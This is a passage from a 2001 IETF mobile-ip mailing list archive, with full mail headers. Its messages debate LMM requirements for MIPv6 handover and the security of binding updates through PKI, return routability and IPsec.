 > exist, but are propably not very desireable.
 > 
 > Jari


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 11:41:07 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA23920
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 11:41:07 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id IAA22500;
	Wed, 21 Nov 2001 08:40:32 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA08072;
	Wed, 21 Nov 2001 08:40:00 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALGdXLS006497
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 08:39:33 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALGdX5i006496
	for mobile-ip-dist; Wed, 21 Nov 2001 08:39:33 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALGdTLS006489
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 08:39:30 -0800 (PST)
Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id IAA07920
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 08:39:09 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id IAA00512
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 08:39:23 -0800 (PST)
Received: from T23KEMPF (dhcp126.docomo-usa.com [172.21.96.126])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fALGd9507808;
	Wed, 21 Nov 2001 08:39:09 -0800 (PST)
Message-ID: <003501c172aa$d1b5bd80$0e02320a@T23KEMPF>
From: "James Kempf" <kempf@docomolabs-usa.com>
To: <mobile-ip@sunroof.eng.sun.com>
Cc: "Cedric Westphal" <cedric@iprg.nokia.com>,
        "Hesham.Soliman" <Hesham.Soliman@era.ericsson.se>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl> <00f201c171eb$e5d1f500$0e02320a@T23KEMPF> <0f8701c171f2$c905a820$686015ac@docomocarl> <020301c17221$115b06f0$0e02320a@T23KEMPF> <3BFB65EF.DF6A98C1@cs.ucl.ac.uk>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Wed, 21 Nov 2001 08:37:32 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.50.4522.1200
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hi Theo,

>   I thought that any mention w.r.t. a handover and compatibility of a
> handover mechanism w.r.t to an LMM scheme was only to imply
> compatibility with handoff optimisations. That is to say, it assumes
> existence of base MIPv6 handoffs at the very least..i.e. we assume
base
> MIPv6 and only care about compatibility of LMM schemes with handoff
> mechanisms _beyond_ base mobility (a.k.a MIPv6).
>

If a service provider wants to deploy standard MIPv6 handover, then it
should be possible to obtain LMM support for it. This is not to imply
that the same LMM solution is required for both standard MIPv6 handover
and the optimizations, they could be different.

            jak



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 12:07:38 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25384
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 12:07:38 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA05877;
	Wed, 21 Nov 2001 09:06:20 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA14615;
	Wed, 21 Nov 2001 09:05:47 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALH58LS006636
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:05:08 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALH58DO006635
	for mobile-ip-dist; Wed, 21 Nov 2001 09:05:08 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALH54LS006628
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:05:04 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA10152
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:05:05 -0800 (PST)
Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA21979
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 10:05:19 -0700 (MST)
Received: from esealnt406.al.sw.ericsson.se (ESEALNT406.al.sw.ericsson.se [153.88.251.29])
	by penguin.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with SMTP id fALH53C29295
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 18:05:03 +0100 (MET)
Received: FROM esealnt742.al.sw.ericsson.se BY esealnt406.al.sw.ericsson.se ; Wed Nov 21 18:04:50 2001 +0100
Received: by esealnt742.al.sw.ericsson.se with Internet Mail Service (5.5.2653.19)
	id <TH2L8X2Y>; Wed, 21 Nov 2001 17:56:56 +0100
Message-ID: <4DA6EA82906FD511BE2F00508BCF053801C4C0A2@Esealnt861.al.sw.ericsson.se>
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'James Kempf'" <kempf@docomolabs-usa.com>, mobile-ip@sunroof.eng.sun.com
Cc: Cedric Westphal <cedric@iprg.nokia.com>,
        "Hesham Soliman (ERA)"
	 <hesham.soliman@era.ericsson.se>
Subject: RE: [mobile-ip] LMM for IPv6 requirements draft (new revision .01
	)
Date: Wed, 21 Nov 2001 18:04:43 +0100
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
   James, 

  > >   I thought that any mention w.r.t. a handover and 
  > compatibility of a
  > > handover mechanism w.r.t to an LMM scheme was only to imply
  > > compatibility with handoff optimisations. That is to say, 
  > it assumes
  > > existence of base MIPv6 handoffs at the very least..i.e. we assume
  > base
  > > MIPv6 and only care about compatibility of LMM schemes 
  > with handoff
  > > mechanisms _beyond_ base mobility (a.k.a MIPv6).
  > >
  > 
  > If a service provider wants to deploy standard MIPv6 
  > handover, then it
  > should be possible to obtain LMM support for it. This is 
  > not to imply
  > that the same LMM solution is required for both standard 
  > MIPv6 handover
  > and the optimizations, they could be different.
 
  => Not to elongate this thread any more, but we're
     talking about ONE LMM solution. We can optimise
     it for different scenarios, but the aim is 
     to get one LMM solution. 
Hesham



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 12:10:56 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA25549
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 12:10:56 -0500 (EST)
Received: from engmail4.Eng.Sun.COM ([129.144.134.6])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA07418;
	Wed, 21 Nov 2001 09:09:19 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA15430;
	Wed, 21 Nov 2001 09:08:46 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALH8HLS006747
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:08:17 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALH8HYY006746
	for mobile-ip-dist; Wed, 21 Nov 2001 09:08:17 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALH8DLS006737
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:08:13 -0800 (PST)
Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2])
	by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA26726
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:08:14 -0800 (PST)
Received: from bells.cs.ucl.ac.uk (bells.cs.ucl.ac.uk [128.16.5.31])
	by saturn.sun.com (8.9.3+Sun/8.9.3) with SMTP id JAA29726
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:08:13 -0800 (PST)
Received: from bohemian.cs.ucl.ac.uk by bells.cs.ucl.ac.uk with local SMTP 
          id <g.16083-0@bells.cs.ucl.ac.uk>; Wed, 21 Nov 2001 17:07:55 +0000
Message-ID: <3BFBDF69.88BA7133@cs.ucl.ac.uk>
Date: Wed, 21 Nov 2001 17:07:53 +0000
From: Theo Pagtzis <t.pagtzis@cs.ucl.ac.uk>
Organization: UCL/Mobile Systems Group
X-Mailer: Mozilla 4.76 [en] (X11; U; FreeBSD 4.1-STABLE i386)
X-Accept-Language: el, en
MIME-Version: 1.0
To: mobile-ip@sunroof.eng.sun.com
CC: Cedric Westphal <cedric@iprg.nokia.com>,
        "Hesham.Soliman" <Hesham.Soliman@era.ericsson.se>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
References: <4DA6EA82906FD511BE2F00508BCF053801C4C055@Esealnt861.al.sw.ericsson.se> <3BF54E78.FD49E8C0@iprg.nokia.com> <0f4a01c1719e$0f63ba50$686015ac@docomocarl> <00f201c171eb$e5d1f500$0e02320a@T23KEMPF> <0f8701c171f2$c905a820$686015ac@docomocarl> <020301c17221$115b06f0$0e02320a@T23KEMPF> <3BFB65EF.DF6A98C1@cs.ucl.ac.uk> <003501c172aa$d1b5bd80$0e02320a@T23KEMPF>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

Hmmm...

       ( reductio ad absurdum..)

consider:

   an LMM solution X must work with MIPv6...
   an LMM solution X' must work with handoff optimizations... 
   
However handoff optimization cannot work on their own...they assume
existence of MIPv6 

that implies that X' must also work with MIPv6..

but X and X' are not the same... !!!
..that leaves me with no other option but to conclude that X=X' !
.. which basically means that the SAME LMM solution must be compatible
with MIPv6 and the handoff optimisation at the same time...

Theo
UCL/ Mobile Systems Group

PS: work with = be compatible with

James Kempf wrote:
> 
> Hi Theo,
> 
> >   I thought that any mention w.r.t. a handover and compatibility of a
> > handover mechanism w.r.t to an LMM scheme was only to imply
> > compatibility with handoff optimisations. That is to say, it assumes
> > existence of base MIPv6 handoffs at the very least..i.e. we assume
> base
> > MIPv6 and only care about compatibility of LMM schemes with handoff
> > mechanisms _beyond_ base mobility (a.k.a MIPv6).
> >
> 
> If a service provider wants to deploy standard MIPv6 handover, then it
> should be possible to obtain LMM support for it. This is not to imply
> that the same LMM solution is required for both standard MIPv6 handover
> and the optimizations, they could be different.
> 
>             jak


From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 12:41:59 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA26903
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 12:41:58 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA24432;
	Wed, 21 Nov 2001 09:40:01 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA04690;
	Wed, 21 Nov 2001 09:32:53 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALHVCLS006929
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:31:12 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALHVC0Z006928
	for mobile-ip-dist; Wed, 21 Nov 2001 09:31:12 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALHV7LS006921
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:31:08 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fALHV0q11940;
	Wed, 21 Nov 2001 18:31:00 +0100 (MET)
Date: Wed, 21 Nov 2001 18:30:02 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
To: Jari Arkko <Jari.Arkko@lmf.ericsson.se>
Cc: Erik Nordmark <Erik.Nordmark@eng.sun.com>, mobile-ip@sunroof.eng.sun.com
In-Reply-To: "Your message with ID" <3BFBAC65.554EE85C@lmf.ericsson.se>
Message-ID: <Roam.SIMC.2.0.6.1006363802.26131.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> First, in general when we use "strong" authentication
> we typically bind the authentication to some trust
> root. You don't accept a VPN connection in just because
> the other guys has a cert, there has to be some
> chain of trust from that cert to you (not counting
> opportunistic encryption ideas of course). Hence
> an attacker can't just use a random certificate name.

Agreed.

> Second, there are two approaches to using local PKIs:
> One, you use it to define the set of Good Guys as
> distinct from Bad Guys i.e. everyone else. For instance,
> the Sun engineering department might have a VPN where
> all engineers have certificates and can access all
> services, regardless of where they are. Here, the
> emphasis is on defining the good guys and trusting
> them for (almost) everything, not just BUs but also
> NFS traffic etc. For this purpose current PKIs
> and IKE/IPsec are well-suited. In our example, if
> we use the 6.4 approach on a local network to protect
> all traffic then this would be my assumption that
> we are doing.

OK.

> The other approach is to use PKIs as a tool define
> *what* various entities may do. This is generally
> a less used approach and there may not be enough
> tools around to do everything necessary. However,
> on the particular case of IP address ownership
> there is a field in X.509 certs to store one or
> several IP addresses. Implementations are also
> checking for the identities in the certs wrt. to
> real identities. So, in theory you could
> use this to declare the particular node must use
> a particular address. However, I'm not sure how
> practical that approach is given DHCP, frequently
> changing static addresses, and the extra management.

I agree this is just a theoretical thing.
I have a hard time understanding how IP addresses in X.509 certs would
work in practice. How does the CA verify that the person requesting the
cert in fact "owns" the address?
How does the CA get notified when that entity no longer owns it
e.g. due to a whole site being renumbered?

For the first question the CA could use return routability at the
time of asking for the Cert, or it could try to track down and verify the
address delegations from the registries and down to the machine.
But that doesn't provide a mechanism for the CA to detect changes.

> If we had SPKI and not X.509, the address ownership
> would be a lot easier to solve.

How? Anything I can read to learn how SPKI is different in solving
this issue?

> I'm not sure about the value of return routability with
> strong authentication. If you really do authenticate
> through some root, then this buys some protection
> against a good guy turned to a bad guy. If you had
> the IP address in the cert, you didn't add any value.
> If you do not authenticate through some root, then
> the whole strong authentication was useless, and you
> could have achieved the same with just a return
> routability test.

I can envision combinations such as "only allow route optimizations for
folks that are minimally trusted by having a cert signed by X or with
a cerificate name *.example.com" but still verify return routability
to deal with potential bad apples in that large set of entities.

There are other cases where a (local) PKI can be used to do authorization
such as "allow incoming telnet if certificate name is *.example.com"
"allow nfs is certificate name is *.eng.example.com".
That works fine with X.509 certs.

The difference in MIPv6 is that we need to authorize not for broad classes
like telnet vs. nfs vs. no access, but instead authorize to speak on behalf
of a single IP address. This can of course be solved configuring an access
control entry for each IP address as in
	cert name erik.nordmark@sun.com IP address 2000::59:a00:20ff:feec:f5bc
but that obviously doesn't scale. But it is the logical equivalent of the
"nfs" and "telnet" authorization.


> In conclusion, I think we can easily do the 
> strong authentication in closed networks, but
> you have to assume everyone's included in the
> CA's trust is trustworthy. Other options also
> exist, but are propably not very desireable.

Kind of like firewalls - hard outside and soft inside!
I'm hoping we can do better.

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 12:55:59 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA27478
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 12:55:59 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id JAA01775;
	Wed, 21 Nov 2001 09:54:47 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA12126;
	Wed, 21 Nov 2001 09:53:01 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALHq0LS007068
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:52:00 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALHq0mY007067
	for mobile-ip-dist; Wed, 21 Nov 2001 09:52:00 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALHpuLS007060
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 09:51:56 -0800 (PST)
Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11])
	by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fALHpnq13785;
	Wed, 21 Nov 2001 18:51:49 +0100 (MET)
Date: Wed, 21 Nov 2001 18:50:51 +0100 (CET)
From: Erik Nordmark <Erik.Nordmark@eng.sun.com>
Subject: Re: [mobile-ip] Additional comments on   draft-arkko-mipv6-bu-security-00.txt
To: Michael Thomas <mat@cisco.com>
Cc: mobile-ip@sunroof.eng.sun.com, Erik Nordmark <Erik.Nordmark@eng.sun.com>
In-Reply-To: "Your message with ID" <15355.54993.647755.189495@thomasm-u1.cisco.com>
Message-ID: <Roam.SIMC.2.0.6.1006365051.8687.nordmark@bebop.france>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>

> So when we talk about identity, we're talking
> about what credentials are necessary to cause the
> SDP's policy to be translated into active SADB
> entries. For manual configuration, this is easy;
> sneakernet is your identity module. For dynamic
> establishment, it is whatever credentials the
> policy module demand for that SDP rule. That might
> be a preshared key, a signed X.509 certificate, or
> a Kerberos credential. Thus the procedure is that
> the presentation of given credential causes a
> given policy entry to instantiate a SADB entry.
> Then, subsequent packets will be subjected to the
> cryptographic policy in the SPD of that 5-tuple
> identifier.
> 
> Thus, it seems to me that the identity is linked
> pretty closely to the actual presented IP address.

Yes, once you have created the SPD entry you've effectively tied whatever
cert or manual keying that was used to an IP address identity.
But my concerns are how this relationship is established when using
certs in IKE (although I suspect IKE vs. son-of-IKE doesn't make a difference
here).

> Mobile IP complicates this picture. While it's
> pretty straightforward to fix the problems that
> were in previous mipv6 drafts, IPsec's flow
> classification rules are only limited to the same
> 5-tuple. That is, it matches off of *CoA*, not
> home address. One implication here is that new
> CoA's require new SADB entries to be established.
> While this is certainly possible, it doesn't seem
> especially optimal. 

I think the existence proof of MIPv6 implementations based on
the I-D using IPsec indicates that this can be avoided - just
make sure that the SADB and SPD lookups occurs on the content of the
Home Address Option instead of source address.

Doesn't IPsec VPNs with IPinIP tunneling work the same way with
the outer IP addresses ignored and the inner IP address used for lookups?
[Looking at my laptop VPN config as I type this it appears to not be the
case - the SADB entries are for the outer IP addresses. This is something
that needs to be understood for "hindsight" idea to use tunneling.]


> So the question in my mind is why the CoA was
> chosen over the home address for the source of the
> IP packet from the mobile node. The main reason
> I've heard is to play well with RPF checks.
> However, recent discussion puts its utility in
> some doubt: even if I pass RPF checks, I could
> conceivably put any home address option I feel
> like in the HAO thus defeating source spoofing
> checking. Also: if the HAO needs to be bound to a
> particular binding update to prevent this, then I
> wonder why the HAO needs to be sent _at all_ since
> the binding cache could record the home address
> and do the substitution locally, rather than via
> the protocol.

I think it still needs to be sent for robustness. Without it certain
bugs like having the wrong HoA for a CoA will cause silent TCP checksum
errors. Thus explicitly checking and sending an ICMP error when
there is a mismatch is more robust. I think this is needed to allow the CN
to "loose" a BCE (garbage collect a BCE or crash+reboot)
and still be able to send a useful error message back.

> So what's the punchline for the 1% of people still
> reading this? I think placing the CoA into the
> source address causes many unforseen problems and
> its stated goal of friendliness to RPF is
> trivially defeated given the current formulation.

Which we need to fix, right? Or are you assuming we can continue to
allow unverified HoA options?

  Erik



From owner-mobile-ip@sunroof.eng.sun.com  Wed Nov 21 13:38:23 2001
Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA28892
	for <mobileip-archive@lists.ietf.org>; Wed, 21 Nov 2001 13:38:23 -0500 (EST)
Received: from engmail3.Eng.Sun.COM ([129.144.170.5])
	by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id KAA20901;
	Wed, 21 Nov 2001 10:37:50 -0800 (PST)
Received: from sunroof.eng.sun.com (sunroof.Eng.Sun.COM [129.146.168.88])
	by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA23379;
	Wed, 21 Nov 2001 10:37:33 -0800 (PST)
Received: from sunroof.eng.sun.com (localhost [127.0.0.1])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALIadLS007290
	for <mobile-ip-dist@sunroof.eng.sun.com>; Wed, 21 Nov 2001 10:36:39 -0800 (PST)
Received: (from majordomo@localhost)
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fALIad8d007289
	for mobile-ip-dist; Wed, 21 Nov 2001 10:36:39 -0800 (PST)
X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-mobile-ip@sunroof.eng.sun.com using -f
Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6])
	by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fALIaZLS007282
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 10:36:35 -0800 (PST)
Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31])
	by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA08217
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 10:36:16 -0800 (PST)
Received: from docomolabs-usa.com (fridge.docomo-usa.com [216.98.102.228])
	by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id LAA05655
	for <mobile-ip@sunroof.eng.sun.com>; Wed, 21 Nov 2001 11:36:52 -0700 (MST)
Received: from docomocarl (dhcp104.docomo-usa.com [172.21.96.104])
	by docomolabs-usa.com (8.11.3/8.11.3) with SMTP id fALIaY511733;
	Wed, 21 Nov 2001 10:36:34 -0800 (PST)
Message-ID: <12d001c172bb$62709240$686015ac@docomocarl>
From: "Carl Williams" <carlw@docomolabs-usa.com>
To: "Hesham Soliman \(ERA\)" <hesham.soliman@era.ericsson.se>,
        <mobile-ip@sunroof.eng.sun.com>,
        "Cedric Westphal" <cedric@iprg.nokia.com>, <t.pagtzis@cs.ucl.ac.uk>
References: <4DA6EA82906FD511BE2F00508BCF053801C4C08F@Esealnt861.al.sw.ericsson.se>
Subject: Re: [mobile-ip] LMM for IPv6 requirements draft (new revision .01)
Date: Wed, 21 Nov 2001 10:36:07 -0800
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2919.6700
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Sender: owner-mobile-ip@sunroof.eng.sun.com
Precedence: bulk
Reply-To: mobile-ip@sunroof.eng.sun.com
List-Archive: <http://playground.sun.com/mobile-ip/>
List-Owner: <mailto:owner-mobile-ip@sunroof.eng.sun.com>
List-Subscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=subscribe>
List-Unsubscribe: <mailto:mobile-ip-request@sunroof.eng.sun.com?body=unsubscribe>
Content-Transfer-Encoding: 7bit

----- Original Message -----
From: "Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>
To: "'Carl Williams'" <carlw@docomolabs-usa.com>;
<mobile-ip@sunroof.eng.sun.com>; "Cedric Westphal" <cedric@iprg.nokia.com>;
"Hesham Soliman (ERA)" <hesham.soliman@era.ericsson.se>;
